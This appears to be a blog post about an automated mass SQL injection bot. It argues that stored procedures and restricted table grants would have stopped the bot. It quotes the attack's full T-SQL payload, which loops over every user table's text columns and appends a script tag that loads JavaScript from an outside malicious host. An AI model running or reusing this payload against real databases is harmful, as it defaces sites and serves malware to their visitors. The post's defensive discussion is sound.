The tens (probably hundreds) of thousands of sites being affected by the automated SQL Injection robot (http://www.computerworld.com.au/index.php/id;683627551) will almost certainly have one thing in common - they didn't in the most part use stored procedures and instead used embedded SQL or LINQ generated SQL.
Anyway, have a look at the SQL (http://isc.sans.org/diary.html?storyid=4565) that this exploit uses....
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+
"<script src=hxxp://www. adsitelo .com/b.js></script>")
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Starting a fresh, a new login with no permissions the first thing you have to do in order to get your app working when you've not used stored procedures is (ok, we'd use groups but the point I'm getting across is the login being used needs permission on the base tables)....
grant
select on {table} to {login}
grant insert on {table} to {login}
grant update on {table} to {login}
grant delete on {table} to {login}
What does that mean? Well, before you did any grants if you run this...
select *
from syscolumns
select *
from sysobjects
You would have got "0" rows returned because you don't have permission to those objects! So, the automated bot will have had nothing to work with, nothing to infect, it wouldn't know your schema - by using stored procedures you will get this same behaviour! You'll see the procs but you can't do select * from {proc}.
Next time you are in an argument about whether or not to use stored procedures remember the 10's more like 100's of thousands of sites that have been caught out when they wouldn't have had the problem with this injection if they'd used proper structure and security through stored procedures.
This is yet another reason why you shouldn't use LINQ to generate the SQL, ALWAYS USE STORED PROCEDURES!
I know I'm on a loser with this one because the developers argument is always about flexibility, frankly - sod flexibility - what's the point of flexibility when you've opened up your database to any application or code that specific login can execute.
Security in today's environments HAS to be of paramount important - the number 1 priority so - use the tools at hand to make for a secure environment and stop dismissing the use of stored procedures with rants about them being inflexible, extra typing etc...
This really isn't a rant at anybody, it's a rant at "the profession"; for the past 15 years I've consistently gone through debate after debate from developers as to why use stored procedures and I think the debate really now has to be concluded - developers - stop being lazy!